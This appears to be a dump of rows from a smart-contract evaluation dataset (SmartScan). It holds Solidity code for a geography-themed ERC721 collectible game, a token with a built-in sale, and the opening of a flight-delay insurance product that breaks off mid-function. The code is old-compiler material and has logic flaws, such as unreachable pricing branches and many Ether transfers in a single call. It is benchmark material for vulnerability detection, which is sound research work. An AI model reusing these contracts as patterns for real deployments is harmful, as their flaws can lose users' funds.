}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 91,183 | 11,212 |
a90f87e20988f04e4f7224f560b8ebed864e404d12d57da18faf0286adb680f0
| 16,048 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x6b106609bbea6f4c9ace8836aa3fb04c6b586c4e.sol
| 4,276 | 15,347 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract NewWorld {
using SafeMath for uint256;
/// @dev The Birth event is fired whenever a new collectible comes into existence.
event Birth(uint256 tokenId, uint256 startPrice);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 indexed tokenId, uint256 price, address prevOwner, address winner);
// ERC721 Transfer
event Transfer(address indexed from, address indexed to, uint256 tokenId);
// ERC721 Approval
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
string public constant NAME = "world-youCollect";
string public constant SYMBOL = "WYC";
uint256[] private tokens;
/// @dev A mapping from collectible IDs to the address that owns them. All collectibles have
/// some valid owner address.
mapping (uint256 => address) public collectibleIndexToOwner;
/// @dev A mapping from CollectibleIDs to an address that has been approved to call
/// transferFrom(). Each Collectible can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public collectibleIndexToApproved;
// @dev A mapping from CollectibleIDs to the price of the token.
mapping (uint256 => uint256) public collectibleIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
mapping (uint => address) private subTokenCreator;
uint16 constant MAX_CONTINENT_INDEX = 10;
uint16 constant MAX_SUBCONTINENT_INDEX = 100;
uint16 constant MAX_COUNTRY_INDEX = 10000;
uint64 constant DOUBLE_TOKENS_INDEX = 10000000000000;
uint128 constant TRIBLE_TOKENS_INDEX = 10000000000000000000000;
uint128 constant FIFTY_TOKENS_INDEX = 10000000000000000000000000000000;
uint256 private constant PROMO_CREATION_LIMIT = 50000;
uint256 public promoCreatedCount;
uint8 constant WORLD_TOKEN_ID = 0;
uint256 constant START_PRICE_CITY = 1 finney;
uint256 constant START_PRICE_COUNTRY = 10 finney;
uint256 constant START_PRICE_SUBCONTINENT = 100 finney;
uint256 constant START_PRICE_CONTINENT = 1 ether;
uint256 constant START_PRICE_WORLD = 10 ether;
function NewWorld() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function getTotalSupply() public view returns (uint) {
return tokens.length;
}
function getInitialPriceOfToken(uint _tokenId) public pure returns (uint) {
if (_tokenId > MAX_COUNTRY_INDEX)
return START_PRICE_CITY;
if (_tokenId > MAX_SUBCONTINENT_INDEX)
return START_PRICE_COUNTRY;
if (_tokenId > MAX_CONTINENT_INDEX)
return START_PRICE_SUBCONTINENT;
if (_tokenId > 0)
return START_PRICE_CONTINENT;
return START_PRICE_WORLD;
}
function getNextPrice(uint price, uint _tokenId) public pure returns (uint) {
if (_tokenId>DOUBLE_TOKENS_INDEX)
return price.mul(2);
if (_tokenId>TRIBLE_TOKENS_INDEX)
return price.mul(3);
if (_tokenId>FIFTY_TOKENS_INDEX)
return price.mul(3).div(2);
if (price < 1.2 ether)
return price.mul(200).div(92);
if (price < 5 ether)
return price.mul(150).div(92);
return price.mul(120).div(92);
}
function buyToken(uint _tokenId) public payable {
address oldOwner = collectibleIndexToOwner[_tokenId];
require(oldOwner!=msg.sender);
uint256 sellingPrice = collectibleIndexToPrice[_tokenId];
if (sellingPrice==0) {
sellingPrice = getInitialPriceOfToken(_tokenId);
// if it is a new city or other subcountryToken, the creator is saved for rewards on later trades
if (_tokenId>MAX_COUNTRY_INDEX)
subTokenCreator[_tokenId] = msg.sender;
}
require(msg.value >= sellingPrice);
uint256 purchaseExcess = msg.value.sub(sellingPrice);
uint256 payment = sellingPrice.mul(92).div(100);
uint256 feeOnce = sellingPrice.sub(payment).div(8);
if (_tokenId > 0) {
// Taxes for World owner
if (collectibleIndexToOwner[WORLD_TOKEN_ID]!=address(0))
collectibleIndexToOwner[WORLD_TOKEN_ID].transfer(feeOnce);
if (_tokenId > MAX_CONTINENT_INDEX) {
// Taxes for continent owner
if (collectibleIndexToOwner[_tokenId % MAX_CONTINENT_INDEX]!=address(0))
collectibleIndexToOwner[_tokenId % MAX_CONTINENT_INDEX].transfer(feeOnce);
if (_tokenId > MAX_SUBCONTINENT_INDEX) {
// Taxes for subcontinent owner
if (collectibleIndexToOwner[_tokenId % MAX_SUBCONTINENT_INDEX]!=address(0))
collectibleIndexToOwner[_tokenId % MAX_SUBCONTINENT_INDEX].transfer(feeOnce);
if (_tokenId > MAX_COUNTRY_INDEX) {
// Taxes for country owner
if (collectibleIndexToOwner[_tokenId % MAX_COUNTRY_INDEX]!=address(0))
collectibleIndexToOwner[_tokenId % MAX_COUNTRY_INDEX].transfer(feeOnce);
// Taxes for city creator
subTokenCreator[_tokenId].transfer(feeOnce);
}
}
}
}
// Transfers the Token
collectibleIndexToOwner[_tokenId] = msg.sender;
if (oldOwner != address(0)) {
// Payment for old owner
oldOwner.transfer(payment);
// clear any previously approved ownership exchange
delete collectibleIndexToApproved[_tokenId];
} else {
Birth(_tokenId, sellingPrice);
tokens.push(_tokenId);
}
// Update prices
collectibleIndexToPrice[_tokenId] = getNextPrice(sellingPrice, _tokenId);
TokenSold(_tokenId, sellingPrice, oldOwner, msg.sender);
Transfer(oldOwner, msg.sender, _tokenId);
// refund when paid too much
if (purchaseExcess>0)
msg.sender.transfer(purchaseExcess);
}
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
collectibleIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function createPromoCollectible(uint256 tokenId, address _owner, uint256 _price) public onlyCOO {
require(collectibleIndexToOwner[tokenId]==address(0));
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address collectibleOwner = _owner;
if (collectibleOwner == address(0)) {
collectibleOwner = cooAddress;
}
if (_price <= 0) {
_price = getInitialPriceOfToken(tokenId);
}
promoCreatedCount++;
_createCollectible(tokenId, _price);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), collectibleOwner, tokenId);
}
bool isChangePriceLocked = true;
// allows owners of tokens to decrease the price of them or if there is no owner the coo can do it
function changePrice(uint256 newPrice, uint256 _tokenId) public {
require((_owns(msg.sender, _tokenId) && !isChangePriceLocked) || (_owns(address(0), _tokenId) && msg.sender == cooAddress));
require(newPrice<collectibleIndexToPrice[_tokenId]);
collectibleIndexToPrice[_tokenId] = newPrice;
}
function unlockPriceChange() public onlyCOO {
isChangePriceLocked = false;
}
/// @notice Returns all the relevant information about a specific collectible.
/// @param _tokenId The tokenId of the collectible of interest.
function getToken(uint256 _tokenId) public view returns (uint256 tokenId, uint256 sellingPrice, address owner, uint256 nextSellingPrice) {
tokenId = _tokenId;
sellingPrice = collectibleIndexToPrice[_tokenId];
if (sellingPrice == 0)
sellingPrice = getInitialPriceOfToken(_tokenId);
owner = collectibleIndexToOwner[_tokenId];
nextSellingPrice = getNextPrice(sellingPrice, _tokenId);
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = collectibleIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
price = collectibleIndexToPrice[_tokenId];
if (price == 0)
price = getInitialPriceOfToken(_tokenId);
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = collectibleIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to,
uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from,
address _to,
uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return collectibleIndexToApproved[_tokenId] == _to;
}
/// For creating Collectible
function _createCollectible(uint256 tokenId, uint256 _price) private {
collectibleIndexToPrice[tokenId] = _price;
Birth(tokenId, _price);
tokens.push(tokenId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == collectibleIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 result) {
uint256 totalTokens = tokens.length;
uint256 tokenIndex;
uint256 tokenId;
result = 0;
for (tokenIndex = 0; tokenIndex < totalTokens; tokenIndex++) {
tokenId = tokens[tokenIndex];
if (collectibleIndexToOwner[tokenId] == _owner) {
result = result.add(1);
}
}
return result;
}
/// @dev Assigns ownership of a specific Collectible to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
//transfer ownership
collectibleIndexToOwner[_tokenId] = _to;
// When creating new collectibles _from is 0x0, but we can't account that address.
if (_from != address(0)) {
// clear any previously approved ownership exchange
delete collectibleIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
/// @param _owner The owner whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire tokens array looking for tokens belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = getTotalSupply();
uint256 resultIndex = 0;
uint256 tokenIndex;
uint256 tokenId;
for (tokenIndex = 0; tokenIndex < totalTokens; tokenIndex++) {
tokenId = tokens[tokenIndex];
if (collectibleIndexToOwner[tokenId] == _owner) {
result[resultIndex] = tokenId;
resultIndex = resultIndex.add(1);
}
}
return result;
}
}
}
| 187,503 | 11,213 |
c834f4359106f0a56294d0216ce667d5004b4da48e0a64b124f5a2823bbed7e8
| 15,224 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x1627ab73a27232468bae3a13786e1234ce9848a3.sol
| 2,756 | 11,134 |
pragma solidity ^0.4.24;
// File: contracts/interfaces/IOwned.sol
contract IOwned {
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
function transferOwnershipNow(address newContractOwner) public;
}
// File: contracts/utility/Owned.sol
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function transferOwnershipNow(address newContractOwner) ownerOnly public {
require(newContractOwner != owner);
emit OwnerUpdate(owner, newContractOwner);
owner = newContractOwner;
}
}
// File: contracts/utility/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
// File: contracts/interfaces/IERC20.sol
contract IERC20 {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// File: contracts/interfaces/ISmartToken.sol
contract ISmartToken is IOwned, IERC20 {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
// File: contracts/SmartToken.sol
contract SmartToken is Owned, IERC20, ISmartToken {
bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not
event NewSmartToken(address _token);
/// @notice Triggered when the total supply is increased
event Issuance(uint256 _amount);
// @notice Triggered when the total supply is decreased
event Destruction(uint256 _amount);
// @notice Verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
/// @notice Validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner); // validate input
balances[_from] = SafeMath.sub(balances[_from], _amount);
totalSupply = SafeMath.sub(totalSupply, _amount);
emit Transfer(_from, this, _amount);
emit Destruction(_amount);
}
uint256 public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[msg.sender] >= _value && _to != address(0)) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _to != address(0)) {
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name;
uint8 public decimals;
string public symbol;
string public version;
constructor(string _name, uint _totalSupply, uint8 _decimals, string _symbol, string _version, address sender) public {
balances[sender] = _totalSupply; // Give the creator all initial tokens
totalSupply = _totalSupply; // Update total supply
name = _name; // Set the name for display purposes
decimals = _decimals; // Amount of decimals for display purposes
symbol = _symbol; // Set the symbol for display purposes
version = _version;
emit NewSmartToken(address(this));
}
uint public saleStartTime;
uint public saleEndTime;
uint public price;
uint public amountRemainingForSale;
bool public buyModeEth = true;
address public beneficiary;
address public payableTokenAddress;
event TokenSaleInitialized(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, uint nowTime);
event TokensPurchased(address buyer, uint amount);
function issuePurchase(address _to, uint256 _amount)
internal
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
function initializeTokenSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) public ownerOnly {
// Check that the token sale has not yet been initialized
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
function initializeTokenSaleWithToken(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary, address _tokenAddress) public ownerOnly {
buyModeEth = false;
payableTokenAddress = _tokenAddress;
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
function initializeSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) internal {
// Check that the token sale has not yet been initialized
require(saleStartTime == 0);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
price = _price;
amountRemainingForSale = _amountForSale;
beneficiary = _beneficiary;
emit TokenSaleInitialized(saleStartTime, saleEndTime, price, amountRemainingForSale, now);
}
function updateStartTime(uint _newSaleStartTime) public ownerOnly {
saleStartTime = _newSaleStartTime;
}
function updateEndTime(uint _newSaleEndTime) public ownerOnly {
require(_newSaleEndTime >= saleStartTime);
saleEndTime = _newSaleEndTime;
}
function updateAmountRemainingForSale(uint _newAmountRemainingForSale) public ownerOnly {
amountRemainingForSale = _newAmountRemainingForSale;
}
function updatePrice(uint _newPrice) public ownerOnly {
price = _newPrice;
}
/// @dev Allows owner to withdraw erc20 tokens that were accidentally sent to this contract
function withdrawToken(IERC20 _token, uint amount) public ownerOnly {
_token.transfer(msg.sender, amount);
}
function buyWithToken(IERC20 _token, uint amount) public payable {
require(_token == payableTokenAddress);
uint amountToBuy = SafeMath.mul(amount, price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
require(_token.transferFrom(msg.sender, beneficiary, amount));
issuePurchase(msg.sender, amountToBuy);
emit TokensPurchased(msg.sender, amountToBuy);
}
function() public payable {
require(buyModeEth == true);
uint amountToBuy = SafeMath.div(SafeMath.mul(msg.value, 1 ether), price);
require(amountToBuy <= amountRemainingForSale);
require(now <= saleEndTime && now >= saleStartTime);
amountRemainingForSale = SafeMath.sub(amountRemainingForSale, amountToBuy);
issuePurchase(msg.sender, amountToBuy);
beneficiary.transfer(msg.value);
emit TokensPurchased(msg.sender, amountToBuy);
}
}
| 204,702 | 11,214 |
da5482c4eca8694b89994ac4b9b1465399dd5426a3263e347b76d34ee411343a
| 14,497 |
.sol
|
Solidity
| false |
327290685
|
etherisc/flightdelay-contracts
|
ffbb291f3a4ec3caa0cb9bdc504b1d51661b43ca
|
contracts-available/FlightDelayChainlink.sol
| 3,941 | 13,945 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
import "@etherisc/gif-interface/contracts/0.7/Product.sol";
contract FlightDelayChainlink is Product {
bytes32 public constant NAME = "FlightDelayChainlink";
bytes32 public constant VERSION = "0.1.6";
event LogRequestFlightRatings(uint256 requestId, bytes32 carrierFlightNumber, uint256 departureTime, uint256 arrivalTime, bytes32 riskId);
event LogRequestFlightStatus(uint256 requestId, uint256 arrivalTime, bytes32 carrierFlightNumber, bytes32 departureYearMonthDay);
event LogPayoutTransferred(bytes32 bpKey, uint256 claimId, uint256 payoutId, uint256 amount);
event LogError(string error, uint256 index, uint256 stored, uint256 calculated);
event LogUnprocessableStatus(bytes32 bpKey, uint256 requestId);
event LogPolicyExpired(bytes32 bpKey);
event LogRequestPayment(bytes32 bpKey, uint256 requestId);
event LogUnexpectedStatus(bytes32 bpKey, uint256 requestId, bytes1 status, int256 delay, address customer);
event LogCallback(bytes32 _bytes, bytes _data);
bytes32 public constant POLICY_FLOW = "PolicyFlowDefault";
// Minimum observations for valid prediction
uint256 public constant MIN_OBSERVATIONS = 10;
// Minimum time before departure for applying
uint256 public constant MIN_TIME_BEFORE_DEPARTURE = 14 * 24 hours;
// Maximum time before departure for applying
uint256 public constant MAX_TIME_BEFORE_DEPARTURE = 90 * 24 hours;
// Maximum duration of flight
uint256 public constant MAX_FLIGHT_DURATION = 2 days;
// Check for delay after .. minutes after scheduled arrival
uint256 public constant CHECK_OFFSET = 1 hours;
// uint256 public constant MIN_PREMIUM = 15 * 10 ** 18; // production
// All amounts in cent = multiplier is 10 ** 16!
uint256 public constant MIN_PREMIUM = 1500 * 10 ** 16; // for testing purposes
uint256 public constant MAX_PREMIUM = 1500 * 10 ** 16; // in cent
uint256 public constant MAX_PAYOUT = 75000 * 10 ** 16; // in cent
uint256 public constant MARGIN_PERCENT = 30;
string public constant RATINGS_CALLBACK = "flightRatingsCallback";
string public constant STATUSES_CALLBACK = "flightStatusCallback";
// ['observations','late15','late30','late45','cancelled','diverted']
uint8[6] public weightPattern = [0, 0, 0, 30, 50, 50];
uint8 public constant maxWeight = 50;
// Maximum cumulated weighted premium per risk
uint256 public constant MAX_TOTAL_PAYOUT = 3 * MAX_PAYOUT; // Maximum risk per flight is 3x max payout.
struct Risk {
bytes32 carrierFlightNumber;
bytes32 departureYearMonthDay;
uint256 departureTime;
uint256 arrivalTime;
uint delayInMinutes;
uint8 delay;
uint256 estimatedMaxTotalPayout;
uint256 premiumMultiplier;
uint256 weight;
}
mapping(bytes32 => Risk) public risks;
mapping(bytes32 => address) public bpKeyToAddress;
mapping(address => bytes32[]) public addressToBpKeys;
mapping(address => uint256) public addressToPolicyCount;
uint256 public uniqueIndex;
bytes32 public ratingsOracleType;
uint256 public ratingsOracleId;
bytes32 public statusesOracleType;
uint256 public statusesOracleId;
constructor(address _productServiceAddress,
bytes32 _ratingsOracleType,
uint256 _ratingsOracleId,
bytes32 _statusesOracleType,
uint256 _statusesOracleId)
Product(_productServiceAddress, NAME, POLICY_FLOW)
{
setOracles(_ratingsOracleType, _ratingsOracleId, _statusesOracleType, _statusesOracleId);
}
function setOracles(bytes32 _ratingsOracleType,
uint256 _ratingsOracleId,
bytes32 _statusesOracleType,
uint256 _statusesOracleId)
public
onlyOwner
{
ratingsOracleType = _ratingsOracleType;
ratingsOracleId = _ratingsOracleId;
statusesOracleType = _statusesOracleType;
statusesOracleId = _statusesOracleId;
}
function uniqueId(address _addr)
internal
returns (bytes32 _uniqueId)
{
uniqueIndex += 1;
return keccak256(abi.encode(_addr, productId, uniqueIndex));
}
function getValue() internal returns(uint256) {
return msg.value;
}
function applyForPolicy(// domain specific
bytes32 _carrierFlightNumber,
bytes32 _departureYearMonthDay,
uint256 _departureTime,
uint256 _arrivalTime,
uint256[5] memory _payouts) external payable {
// Validate input parameters
uint256 premium = getValue();
bytes32 bpKey = uniqueId(msg.sender);
require(premium >= MIN_PREMIUM, "ERROR:FDD-001:INVALID_PREMIUM");
require(premium <= MAX_PREMIUM, "ERROR:FDD-002:INVALID_PREMIUM");
require(_arrivalTime > _departureTime, "ERROR:FDD-003:ARRIVAL_BEFORE_DEPARTURE_TIME");
require(_arrivalTime <= _departureTime + MAX_FLIGHT_DURATION,
"ERROR:FDD-004:INVALID_ARRIVAL/DEPARTURE_TIME");
require(_departureTime >= block.timestamp + MIN_TIME_BEFORE_DEPARTURE,
"ERROR:FDD-012:INVALID_ARRIVAL/DEPARTURE_TIME");
require(_departureTime <= block.timestamp + MAX_TIME_BEFORE_DEPARTURE,
"ERROR:FDD-005:INVALID_ARRIVAL/DEPARTURE_TIME");
// Create risk if not exists
bytes32 riskId = keccak256(abi.encode(_carrierFlightNumber, _departureTime, _arrivalTime));
Risk storage risk = risks[riskId];
if (risk.carrierFlightNumber == "") {
risk.carrierFlightNumber = _carrierFlightNumber;
risk.departureYearMonthDay = _departureYearMonthDay;
risk.departureTime = _departureTime;
risk.arrivalTime = _arrivalTime;
}
require (premium * risk.premiumMultiplier + risk.estimatedMaxTotalPayout < MAX_TOTAL_PAYOUT,
"ERROR:FDD-006:CLUSTER_RISK");
// if this is the first policy for this flight,
// we "block" this risk by setting risk.estimatedMaxTotalPayout to
// the maximum. Next flight for this risk can only be insured after this one has been underwritten.
if (risk.estimatedMaxTotalPayout == 0) {
risk.estimatedMaxTotalPayout = MAX_TOTAL_PAYOUT;
}
// Create new application
_newApplication(bpKey, abi.encode(premium, _payouts, msg.sender, riskId));
// Request flight ratings
uint256 requestId = _request(bpKey,
abi.encode(_carrierFlightNumber),
RATINGS_CALLBACK,
ratingsOracleType,
ratingsOracleId);
emit LogRequestFlightRatings(requestId,
_carrierFlightNumber,
_departureTime,
_arrivalTime,
riskId);
bpKeyToAddress[bpKey] = msg.sender;
addressToBpKeys[msg.sender].push(bpKey);
addressToPolicyCount[msg.sender] += 1;
}
function checkApplication(bytes32 _carrierFlightNumber,
uint256 _departureTime,
uint256 _arrivalTime,
uint256 _premium)
external view
returns (uint256 errors)
{
// Validate input parameters
if (_premium < MIN_PREMIUM) errors = errors | (uint256(1) << 0);
if (_premium > MAX_PREMIUM) errors = errors | (uint256(1) << 1);
if (_arrivalTime < _departureTime) errors = errors | (uint256(1) << 2);
if (_arrivalTime > _departureTime + MAX_FLIGHT_DURATION) errors = errors | (uint256(1) << 3);
if (_departureTime < block.timestamp + MIN_TIME_BEFORE_DEPARTURE) errors = errors | (uint256(1) << 4);
if (_departureTime > block.timestamp + MAX_TIME_BEFORE_DEPARTURE) errors = errors | (uint256(1) << 5);
bytes32 riskId = keccak256(abi.encode(_carrierFlightNumber, _departureTime, _arrivalTime));
Risk storage risk = risks[riskId];
if (_premium * risk.premiumMultiplier + risk.estimatedMaxTotalPayout >= MAX_TOTAL_PAYOUT) errors = errors | (uint256(1) << 6);
return errors;
}
function declineAndPayback(bytes32 _bpKey, address payable _customer, uint256 _premium)
internal
{
_decline(_bpKey);
_customer.transfer(_premium);
}
function flightRatingsCallback(uint256 _requestId,
bytes32 _bpKey,
bytes calldata _response) external onlyOracle {
// Statistics: ['observations','late15','late30','late45','cancelled','diverted']
uint256[6] memory _statistics = abi.decode(_response, (uint256[6]));
(uint256 premium, uint256[5] memory payouts, address payable customer, bytes32 riskId) =
abi.decode(_getApplicationData(_bpKey), (uint256,uint256[5],address,bytes32));
if (_statistics[0] < MIN_OBSERVATIONS) {
declineAndPayback(_bpKey, customer, premium);
return;
}
(uint256 weight, uint256[5] memory calculatedPayouts) = calculatePayouts(premium, _statistics);
Risk storage risk = risks[riskId];
for (uint256 i = 0; i < 5; i++) {
if (calculatedPayouts[i] > MAX_PAYOUT) {
emit LogError("ERROR:FDD-007:PAYOUT_GT_MAXPAYOUT", i, payouts[i], calculatedPayouts[i]);
declineAndPayback(_bpKey, customer, premium);
return;
}
if (calculatedPayouts[i] != payouts[i]) {
emit LogError("ERROR:FDD-008:INVALID_PAYOUT_OPTION", i, payouts[i], calculatedPayouts[i]);
declineAndPayback(_bpKey, customer, premium);
return;
}
}
// It's the first policy for this risk, we accept any premium
if (risk.premiumMultiplier == 0) {
